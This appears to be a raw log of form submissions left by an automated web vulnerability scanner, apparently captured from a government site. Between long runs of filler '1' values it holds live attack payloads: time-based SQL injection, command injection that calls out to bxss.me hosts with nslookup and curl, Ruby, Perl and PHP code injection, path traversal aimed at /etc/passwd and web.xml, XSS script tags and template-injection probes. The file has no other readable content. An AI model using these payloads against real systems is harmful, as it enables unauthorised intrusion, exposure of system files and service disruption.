'+'A'.concat(70-3).concat(22*4).concat(115).concat(65).concat(104).concat(80)+(require'socket' Socket.gethostbyname('hitrf'+'wyqinwrkac1af.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(110).concat(82).concat(108).concat(73)+(require'socket' Socket.gethostbyname('hitig'+'dyrkmmhec38b2.bxss.me.')[3].to_s)
1
1
1
1
1
1
create
1
1
1
1
1
1
create
1
1
1
1
1
1
create/.
1
1
1hAnO1EA0') OR 673=(SELECT 673 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1ypLsAbbj')) OR 325=(SELECT 325 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@RNpNx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*xdskci&&'
1
1
1
1
'.gethostbyname(lc('hituh'.'gzcmhgze5773e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(74).chr(111).chr(70).'
1
1
1
1"&&sleep(27*1000)*gfeiqq&&"
1
1
1
1
".gethostbyname(lc("hitji"."irubjeza3591b.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(66).chr(110).chr(85)."
1
1
1
1'||sleep(27*1000)*vqbqgk||'
1
1
1
1
gethostbyname(lc('hitlq'.'adbdnrew165a2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(78).chr(114).chr(68)
1
1
1"||sleep(27*1000)*gevbnf||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1BIA54DA5F0
1
1
1ODV75EVL0
1
1
1
'"
1
<!--
1'"()&%<zzz><ScRiPt >m1tg(9902)</ScRiPt>
1
1
response.write(9648983*9690887)
1
1
'+response.write(9648983*9690887)+'
'"()&%<zzz><ScRiPt >m1tg(9684)</ScRiPt>
1
1
1
1
"+response.write(9648983*9690887)+"
19194730
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo bxyrbw$()\ nlhoug\nz^xyu||a #' &echo bxyrbw$()\ nlhoug\nz^xyu||a #|" &echo bxyrbw$()\ nlhoug\nz^xyu||a #
1
&echo vprmws$()\ cmdiaz\nz^xyu||a #' &echo vprmws$()\ cmdiaz\nz^xyu||a #|" &echo vprmws$()\ cmdiaz\nz^xyu||a #
1
1
1&echo coeemx$()\ nfjntz\nz^xyu||a #' &echo coeemx$()\ nfjntz\nz^xyu||a #|" &echo coeemx$()\ nfjntz\nz^xyu||a #
zT2RO86e
1
1
1
|echo zfinep$()\ jtgbzg\nz^xyu||a #' |echo zfinep$()\ jtgbzg\nz^xyu||a #|" |echo zfinep$()\ jtgbzg\nz^xyu||a #
1
1
1|echo ygeqax$()\ fnrrzo\nz^xyu||a #' |echo ygeqax$()\ fnrrzo\nz^xyu||a #|" |echo ygeqax$()\ fnrrzo\nz^xyu||a #
46Z3NAzN: hKIHYoMY
1
1
1
1
expr 9000167173 - 977911
1
1
1
(nslookup -q=cname hitanyqocbzxw97c77.bxss.me||curl hitanyqocbzxw97c77.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hitdcnufqhvci7bc47.bxss.me||curl hitdcnufqhvci7bc47.bxss.me)
1
1
1
1
1
&nslookup -q=cname hitgpbcvsbvle69e52.bxss.me&'\"`0&nslookup -q=cname hitgpbcvsbvle69e52.bxss.me&`'
1
1
1
1
&(nslookup -q=cname hitleechfyiny2433e.bxss.me||curl hitleechfyiny2433e.bxss.me)&'\"`0&(nslookup -q=cname hitleechfyiny2433e.bxss.me||curl hitleechfyiny2433e.bxss.me)&`'
1
1
|(nslookup -q=cname hitmecqjxdqit28256.bxss.me||curl hitmecqjxdqit28256.bxss.me)
1
`(nslookup -q=cname hitgsjdwtoorf4f565.bxss.me||curl hitgsjdwtoorf4f565.bxss.me)`
1
1
1
1
;(nslookup -q=cname hitjvugudodur5c405.bxss.me||curl hitjvugudodur5c405.bxss.me)|(nslookup -q=cname hitjvugudodur5c405.bxss.me||curl hitjvugudodur5c405.bxss.me)&(nslookup -q=cname hitjvugudodur5c405.b
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitzmqxoupaomead9c.bxss.me||curl${IFS}hitzmqxoupaomead9c.bxss.me)
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitayfkxgsmimc46fd.bxss.me||curl${IFS}hitayfkxgsmimc46fd.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitayfkxgsmimc46fd.bxss.me||curl${IFS}hitayfkxgsmimc46fd.bx
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
../1
1
1
1VMOiecrM
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
-1 OR 2+598-598-1=0+0+0+1 --
1
1
1
1
1
-1 OR 2+211-211-1=0+0+0+1
1
1
1
1
1
-1' OR 2+947-947-1=0+0+0+1 --
1
1
1
-1' OR 2+644-644-1=0+0+0+1 or '4qgSRYrj'='
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
${9999439+9999160}
-1" OR 2+443-443-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1&n902862=v943003
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1tNgKLaf2'; waitfor delay '0:0:15' --
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1-1 OR 259=(SELECT 259 FROM PG_SLEEP(15))--
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1-1) OR 417=(SELECT 417 FROM PG_SLEEP(15))--
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1-1)) OR 865=(SELECT 865 FROM PG_SLEEP(15))--
1
1
/etc/shells
1
1
1
1
1loMV1bmP' OR 499=(SELECT 499 FROM PG_SLEEP(15))--
../../../../../../../../../../../../../../etc/shells
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
17todhRQ5') OR 967=(SELECT 967 FROM PG_SLEEP(15))--
1
c:/windows/win.ini
1
1
1
1spP76rQA')) OR 303=(SELECT 303 FROM PG_SLEEP(15))--
bxss.me
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
@@iidR5
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(117).concat(88).concat(108).concat(82)+(require"socket" Socket.gethostbyname("hitsb"+"mzvkuspo3860b.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(97).concat(84).concat(103).concat(70)+(require'socket' Socket.gethostbyname('hitmj'+'wppotmyv11cbb.bxss.me.')[3].to_s)+'
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(121).concat(69).concat(122).concat(85)+(require'socket' Socket.gethostbyname('hitgt'+'mzdaeolvef155.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
create/.
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
'.gethostbyname(lc('hitno'.'zfpympjx2f3e6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(89).chr(99).chr(79).'
1
1
1
1'&&sleep(27*1000)*ermjzl&&'
1
1
1
1
1
".gethostbyname(lc("hitqc"."tnimtdgvb1274.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(72).chr(109).chr(79)."
1
1"&&sleep(27*1000)*ponpgu&&"
1
1
1
1
gethostbyname(lc('hitjt'.'uylizjwqf488f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(79).chr(113).chr(79)
1'||sleep(27*1000)*lsuduk||'
1
1
1
1
1
1"||sleep(27*1000)*pbsqcg||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9530246*9113527)
1
1
1
1
'+response.write(9530246*9113527)+'
1
1
1
1
"+response.write(9530246*9113527)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
echo wdqzkg$()\ qzfzhl\nz^xyu||a #' &echo wdqzkg$()\ qzfzhl\nz^xyu||a #|" &echo wdqzkg$()\ qzfzhl\nz^xyu||a #
1
1
1
1
<!--
&echo zmvwal$()\ euwocg\nz^xyu||a #' &echo zmvwal$()\ euwocg\nz^xyu||a #|" &echo zmvwal$()\ euwocg\nz^xyu||a #
1
1
1
1
1&echo fktprs$()\ swsaxe\nz^xyu||a #' &echo fktprs$()\ swsaxe\nz^xyu||a #|" &echo fktprs$()\ swsaxe\nz^xyu||a #
1
1'"()&%<zzz><ScRiPt >p1VR(9596)</ScRiPt>
1
1
1
|echo bxycem$()\ qvukqj\nz^xyu||a #' |echo bxycem$()\ qvukqj\nz^xyu||a #|" |echo bxycem$()\ qvukqj\nz^xyu||a #
1
1
1
1|echo bdgrvh$()\ pgesut\nz^xyu||a #' |echo bdgrvh$()\ pgesut\nz^xyu||a #|" |echo bdgrvh$()\ pgesut\nz^xyu||a #
'"()&%<zzz><ScRiPt >p1VR(9781)</ScRiPt>
1
1
1
expr 9000826658 - 989544
1
1
1
19673032
1
1
(nslookup -q=cname hitdolbjroizpda396.bxss.me||curl hitdolbjroizpda396.bxss.me))
1
1
1
1
$(nslookup -q=cname hitlwkcuvlfsy52eb3.bxss.me||curl hitlwkcuvlfsy52eb3.bxss.me)
1
1
1
1
1
1
&nslookup -q=cname hitzlcskgzoby64089.bxss.me&'\"`0&nslookup -q=cname hitzlcskgzoby64089.bxss.me&`'
1
1
1
1
1
1
&(nslookup -q=cname hitbxtlioidyc96208.bxss.me||curl hitbxtlioidyc96208.bxss.me)&'\"`0&(nslookup -q=cname hitbxtlioidyc96208.bxss.me||curl hitbxtlioidyc96208.bxss.me)&`'
16ToWYD6s
1
1
1
|(nslookup -q=cname hitvtvzzqldhy38248.bxss.me||curl hitvtvzzqldhy38248.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitnuyqruleeo67763.bxss.me||curl hitnuyqruleeo67763.bxss.me)`
1
1
1
-1 OR 2+358-358-1=0+0+0+1 --
;(nslookup -q=cname hitklqjjdavmq65098.bxss.me||curl hitklqjjdavmq65098.bxss.me)|(nslookup -q=cname hitklqjjdavmq65098.bxss.me||curl hitklqjjdavmq65098.bxss.me)&(nslookup -q=cname hitklqjjdavmq65098.b
1
1
1
-1 OR 2+418-418-1=0+0+0+1
|(nslookup${IFS}-q${IFS}cname${IFS}hitabnvsiivghc076a.bxss.me||curl${IFS}hitabnvsiivghc076a.bxss.me)
pd7ncxbl
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitrfbivomczscaa92.bxss.me||curl${IFS}hitrfbivomczscaa92.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrfbivomczscaa92.bxss.me||curl${IFS}hitrfbivomczscaa92.bx
-1' OR 2+642-642-1=0+0+0+1 --
yZ061wwl: z5uiTlvb
1
1
-1' OR 2+496-496-1=0+0+0+1 or 'Nht0aUhI'='
1
1
1
1
1
-1" OR 2+427-427-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
12345'"\'\");|]* { < >
${9999056+10000170}
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1J4ZSURyU'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1&n900910=v911453
1
1
1
1-1 OR 468=(SELECT 468 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1-1) OR 766=(SELECT 766 FROM PG_SLEEP(15))--
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1-1)) OR 487=(SELECT 487 FROM PG_SLEEP(15))--
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
/etc/shells
1
1
1
1cwVkCheO' OR 983=(SELECT 983 FROM PG_SLEEP(15))--
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
1
bxss.me
1
1
1
1zYa16hZ4') OR 34=(SELECT 34 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1lrtlppOK')) OR 72=(SELECT 72 FROM PG_SLEEP(15))--
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
"+"A".concat(70-3).concat(22*4).concat(104).concat(81).concat(97).concat(84)+(require"socket" Socket.gethostbyname("hitku"+"aitolorrc5a7d.bxss.me.")[3].to_s)+"
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(110).concat(74).concat(117).concat(73)+(require'socket' Socket.gethostbyname('hityr'+'yncgqxen9ad42.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(99).concat(67)+(require'socket' Socket.gethostbyname('hitnj'+'tquvamyi500dc.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
1
1
@@tTUb7
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
create
1
1
1
1
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1kUUT5BBJ
1
1
'"()
1
'.gethostbyname(lc('hituk'.'hdyskalva5113.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(84).chr(115).chr(90).'
1
1
1
1'&&sleep(27*1000)*nmkecq&&'
1
".gethostbyname(lc("hitlr"."bwymhxiyc5f29.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(88).chr(117).chr(85)."
1
1
1
1"&&sleep(27*1000)*ivakqe&&"
1
gethostbyname(lc('hitix'.'kzfpcpyoccb8e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(74).chr(112).chr(65)
1
1
1
1'||sleep(27*1000)*pfhgxx||'
1
1
1
-1 OR 2+288-288-1=0+0+0+1 --
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1"||sleep(27*1000)*mjcwjw||"
1
1
1
-1 OR 2+501-501-1=0+0+0+1
';print(md5(31337));$a='
1
1
1
1
1
1
-1' OR 2+234-234-1=0+0+0+1 --
";print(md5(31337));$a="
1
1
1
1
1
-1' OR 2+504-504-1=0+0+0+1 or 'pRQDodNR'='
1
${@print(md5(31337))}
1
1
1
1
1
1
-1" OR 2+767-767-1=0+0+0+1 --
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
response.write(9686295*9646065)
1txxc7x6t'; waitfor delay '0:0:15' --
1
1
1
1
1
'+response.write(9686295*9646065)+'
1
1
1
"+response.write(9686295*9646065)+"
1
1
1
1
1-1 OR 574=(SELECT 574 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1-1)) OR 480=(SELECT 480 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1Utmeinov' OR 473=(SELECT 473 FROM PG_SLEEP(15))--
1
1
1
1
1
'"
1
1CmCaauVB') OR 59=(SELECT 59 FROM PG_SLEEP(15))--
1
1
1
<!--
1
1
1BHDuvSZP')) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
'"
1
1
1
1
1
1
@@4t7YM
1
1
1
1
1
1
1
1
1
1
1
sgEL0PR4
1
1
1
ij6UlYCW: 0XnPM58S
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<esi:include src="http://bxss.me/rpb.png"/>
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1'"()&%<zzz><ScRiPt >4qP3(9599)</ScRiPt>
1
1
'"()&%<zzz><ScRiPt >4qP3(9656)</ScRiPt>
1
1
1
19311341
1
1
1
1
1
1
1
1
${9999456+10000361}
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
1
../../../../../../../../../../../../../../../proc/version
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1
../../../../../../../../../../etc/passwd%00.jpg
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
1
1
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
1
&n977584=v912837
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1
1
/etc/passwd
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
%2fetc%2fpasswd
1
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1
../././../././../././../././../././../././../././../././../././../././etc/passwd
1
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
1
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
1
1
1
file:///etc/passwd
1
/\../\../\../\../\../\../\../etc/passwd
1
1
1
/WEB-INF/web.xml
1
WEB-INF/web.xml
1
1
HttP://bxss.me/t/xss.html?%00
WEB-INF\web.xml
xfs.bxss.me
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(104).concat(75).concat(109).concat(65)+(require"socket" Socket.gethostbyname("hitkx"+"zbxpnfzo95ff5.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(121).concat(66).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitnm'+'aayrwoaq2f20a.bxss.me.')[3].to_s)+'
1
'A'.concat(70-3).concat(22*4).concat(98).concat(71).concat(115).concat(80)+(require'socket' Socket.gethostbyname('hitjy'+'bpegvrju70345.bxss.me.')[3].to_s)
1
1
echo kzdfzp$()\ oewdta\nz^xyu||a #' &echo kzdfzp$()\ oewdta\nz^xyu||a #|" &echo kzdfzp$()\ oewdta\nz^xyu||a #
1
&echo othquv$()\ ghtqyl\nz^xyu||a #' &echo othquv$()\ ghtqyl\nz^xyu||a #|" &echo othquv$()\ ghtqyl\nz^xyu||a #
1
|echo ijoxqg$()\ xggtzx\nz^xyu||a #' |echo ijoxqg$()\ xggtzx\nz^xyu||a #|" |echo ijoxqg$()\ xggtzx\nz^xyu||a #
1
1
1
expr 9000736041 - 929774
1
(nslookup -q=cname hitmxsrylyhvj95d5b.bxss.me||curl hitmxsrylyhvj95d5b.bxss.me))
1
$(nslookup -q=cname hitgobyljvadtc4b77.bxss.me||curl hitgobyljvadtc4b77.bxss.me)
1
&nslookup -q=cname hitnqvxvehppo8b75d.bxss.me&'\"`0&nslookup -q=cname hitnqvxvehppo8b75d.bxss.me&`'
&(nslookup -q=cname hitoiqlihrgro3a722.bxss.me||curl hitoiqlihrgro3a722.bxss.me)&'\"`0&(nslookup -q=cname hitoiqlihrgro3a722.bxss.me||curl hitoiqlihrgro3a722.bxss.me)&`'
1
https://dpmis.punjab.gov.pk/
|(nslookup -q=cname hitbwijjxoavtdea3d.bxss.me||curl hitbwijjxoavtdea3d.bxss.me)
)
1
https://redirtest.acx/
!(()&&!|*|*|
`(nslookup -q=cname hitlpxvgkqkkedf68a.bxss.me||curl hitlpxvgkqkkedf68a.bxss.me)`
^(#$!@#$)(()))******
;(nslookup -q=cname hitoexqcukypec1e92.bxss.me||curl hitoexqcukypec1e92.bxss.me)|(nslookup -q=cname hitoexqcukypec1e92.bxss.me||curl hitoexqcukypec1e92.bxss.me)&(nslookup -q=cname hitoexqcukypec1e92.b
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitlrvedcbesq44c48.bxss.me||curl${IFS}hitlrvedcbesq44c48.bxss.me)
1
1
